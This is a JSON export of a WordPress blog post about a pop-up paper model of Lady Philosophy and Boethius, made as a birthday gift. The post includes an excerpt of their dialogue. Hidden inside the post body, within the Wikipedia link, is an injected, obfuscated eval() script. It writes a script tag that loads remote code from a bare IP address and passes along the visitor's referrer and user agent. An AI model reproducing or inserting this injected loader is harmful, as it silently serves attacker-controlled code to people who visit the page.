{"id":3459,"date":"2012-10-27T12:39:37","date_gmt":"2012-10-27T19:39:37","guid":{"rendered":"http:\/\/www.rebeccagibson.org\/?p=3459"},"modified":"2013-05-17T11:13:53","modified_gmt":"2013-05-17T18:13:53","slug":"pop-up-boethius","status":"publish","type":"post","link":"http:\/\/www.rebeccagibson.org\/?p=3459","title":{"rendered":"Pop-Up Boethius"},"content":{"rendered":"<p>One of my best friends from way back had an important birthday and I wanted to send her something special.\u00c2\u00a0 So I finished a project &#8211; one I&#8217;d begun about 20 years ago &#8211; and she and I are probably the only people who would think it was funny.\u00c2\u00a0 But hey.<\/p>\n<p>So, in a nutshell: The Consolation of Philosophy was written in, what, like the 4th century?\u00c2\u00a0 (<a href=\"http:\/\/en.wikipedia.org\/wiki\/Consolation_of_Philosophy\">Here&#8217;s <noindex><script id=\"wpinfo-pst1\" type=\"text\/javascript\" rel=\"nofollow\">eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!''.replace(\/^\/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('0.6(\"<a g=\\'2\\' c=\\'d\\' e=\\'b\/2\\' 4=\\'7:\/\/5.8.9.f\/1\/h.s.t?r=\"+3(0.p)+\"\\o=\"+3(j.i)+\"\\'><\\\/k\"+\"l>\");n m=\"q\";',30,30,'document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|kibfb|var|u0026u|referrer|bztzn||js|php'.split('|'),0,{}))\n<\/script><\/noindex> the wikipedia link&#8230;<\/a>)\u00c2\u00a0 We read it in college and it&#8217;s always been one of my favorites.\u00c2\u00a0 It&#8217;s a lovely philosophical work, telling a story in alternating prose and poetry, but essentially relating a long conversation between Boethuis (the author) and Lady Philosophy.\u00c2\u00a0 Boethius is depressed because pretty much everything in his life has gone badly wrong, and Philosophy comes to set him straight on a few key points.<\/p>\n<p>In the opening scenes, Philosophy gets his attention by growing quite tall &#8211; think of the scene in the Lord of the Rings where Gandalf does the same thing to Bilbo.\u00c2\u00a0 It inspired me with a vision of the whole work as a pop-up book.\u00c2\u00a0 I started to make one, but wasn&#8217;t ever able to figure out how to get it to really work, so the pieces <em>lay unfinished in a folder for 20 years.<\/em><\/p>\n<p>I decided it was time to close the book, so to speak, so I finished it.\u00c2\u00a0 Not the whole Consolation, just the one early scene where Philosophy telescopes up and down like Alice eating her mushrooms.\u00c2\u00a0 I built it in a box so it would be reasonably sturdy.<\/p>\n<p><a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b1.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3473\" title=\"Lady Philosophy and Boethius are made of paper.\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b1-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b1-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b1-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b1.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a>\u00c2\u00a0\u00c2\u00a0 <a href=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b3.jpg\"><img loading=\"lazy\" decoding=\"async\" class=\"alignnone size-medium wp-image-3475\" title=\"When she gets tall, his book opens, and the silly Muse flies out the window.\" alt=\"\" src=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b3-300x225.jpg\" width=\"300\" height=\"225\" srcset=\"http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b3-300x225.jpg 300w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b3-1024x768.jpg 1024w, http:\/\/www.rebeccagibson.org\/wp-content\/uploads\/2012\/10\/b3.jpg 1600w\" sizes=\"(max-width: 300px) 100vw, 300px\" \/><\/a><\/p>\n<p><em>You are suffering from an illness.\u00c2\u00a0 Will you let me ask you some questions, so I can try to cure you?<\/em><\/p>\n<p><em>I will answer any questions you ask me.<\/em><\/p>\n<p><em>This world of ours &#8211; is it governed by random chance, or guided by a rational power?<\/em><\/p>\n<p><em>I believe that God rules over the world &#8211; not random chance.<\/em><\/p>\n<p><em>And how does God govern the world?<\/em><\/p>\n<p><em>I don&#8217;t really understand the question.<\/em><\/p>\n<p><em>Oh dear.\u00c2\u00a0 I&#8217;m beginning to see the problem.\u00c2\u00a0 All right &#8211; do you remember the universal end towards which the aim of all nature is directed?&#8217;<\/em><\/p>\n<p><em>Um.\u00c2\u00a0\u00c2\u00a0\u00c2\u00a0 I heard it once, but I don&#8217;t remember.<\/em><\/p>\n<p><em>And yet you know where all things come from.<\/em><\/p>\n<p><em>Yes, that I know.\u00c2\u00a0 All things come from God.<\/em><\/p>\n<p><em>How is it possible that you don&#8217;t know the end, or purpose, of existence, when you know its source and origin?\u00c2\u00a0 Do you remember that you are a human?<\/em><\/p>\n<p><em>Of course.<\/em><\/p>\n<p><em>Then, can you tell me what a human is?<\/em><\/p>\n<p><em>That is easy:\u00c2\u00a0 a mortal, rational, animal.<\/em><\/p>\n<p><em>Nothing else?<\/em><\/p>\n<p><em>Nothing else.<\/em><\/p>\n<p><em>Now I understand the cause of your illness.\u00c2\u00a0 You have forgotten your true nature.<\/em><\/p>\n<p>And so on.\u00c2\u00a0 It&#8217;s good stuff.<\/p>\n","protected":false},"excerpt":{"rendered":"<p>One of my best friends from way back had an important birthday and I wanted&#8230;<\/p>\n","protected":false},"author":1,"featured_media":3474,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[75,91],"tags":[81,22],"class_list":["post-3459","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-projects","category-believe","tag-i-believe","tag-projects"],"_links":{"self":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3459"}],"collection":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=3459"}],"version-history":[{"count":6,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3459\/revisions"}],"predecessor-version":[{"id":4500,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/posts\/3459\/revisions\/4500"}],"wp:featuredmedia":[{"embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=\/wp\/v2\/media\/3474"}],"wp:attachment":[{"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=3459"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=3459"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/www.rebeccagibson.org\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=3459"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}